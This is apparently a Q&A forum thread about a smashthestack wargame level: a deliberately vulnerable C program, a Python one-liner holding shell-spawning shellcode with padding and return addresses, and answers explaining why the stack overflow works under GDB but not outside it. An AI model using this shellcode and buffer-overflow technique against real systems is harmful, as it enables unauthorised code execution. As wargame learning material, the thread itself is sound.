wliao
wliao

Reputation: 1416

Program behaves different in GDB?

I have this code from smashthestack:

//bla, based on work by nnp

#include <stdio.h>
#include <string.h>

void prompt_name(char *name, char *msg){
        char buf[4096];

        int i = 0;
        puts(msg);
        i = read(0, buf, sizeof buf);
        printf("Read %d bytes\n", i);
        *strchr(buf, '\n') = 0;
        strncpy(name, buf, 20);
}

void prompt_full_name(char *fullname) {
        char last[20];
        char first[20];

        prompt_name(first, "Please enter your first name: ");
        prompt_name(last, "Please enter your last name: ");

        strcpy(fullname, first);
        strcat(fullname, " ");
        strcat(fullname, last);
}


int main(int argc, char **argv){
        char fullname[42];

        prompt_full_name(fullname);
        printf("Welcome, %s\n", fullname);

        return 0;
}

I execute this program using this shellcode:

python -c 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80" + "\x90" * 2009 + "\x90" * 2065 + "\n" + "\x80\xec\x02\xf4\xff\xbf\x03\xf4\xff\xbf\x04\xd4\xff\xbf\xa6\xfc\xff\xbf\xff" + "\n"' > /tmp/in

In GDB run < /tmp/in, it's working all right: (gdb) run < /tmp/wliao_in

Starting program: /levels/level06 < /tmp/wliao_in
Please enter your first name: 
Please enter your last name: 
Welcome, j
          X�Rh//shh/bin��1�̀��������������� ����������������
Executing new program: /bin/bash

But in reality, it's not:

level6@io:/levels$ cat /tmp/in | ./level06
Please enter your first name: 
Please enter your last name: 
Welcome, j
          X�Rh//shh/bin��1�̀��������������� ����������������
Illegal instruction

I don't understand what's different between the two?

Upvotes: 0

Views: 1083

Answers (2)

Dougall
Dougall

Reputation: 281

There are a lot of issues when running something in and out of GDB.

First off, the environment changes, as shown in this diff. Adding and removing environment variables changes the addresses of everything above them on the stack.

< _=./envp2
---
> COLUMNS=91
8a9
> LINES=39
20a22
> _=/usr/bin/gdb

Secondly, the execve path affects stack layout (you're using "./level06", but GDB uses the absolute path, "/levels/level06"). This probably appears both in argv[1] and at the bottom of the stack (I don't know why, but Linux does that).

It's been a really long time since I did that level, but I'd try putting the shellcode in a command line argument (so there's no size restriction), with a massive NOP sled (so the stack address changes don't make a difference to whether your exploit works or not).

Upvotes: 1

Bryan Olivier
Bryan Olivier

Reputation: 5307

prompt_name does not produce a name terminated by a \0 character if the name is longer than 20. The difference when run in gdb is that in gdb memory and stack management may be different in which case both strings may by accident be terminated by a \0.

With names smaller than 20 characters it works fine with me.

Upvotes: 0

Related Questions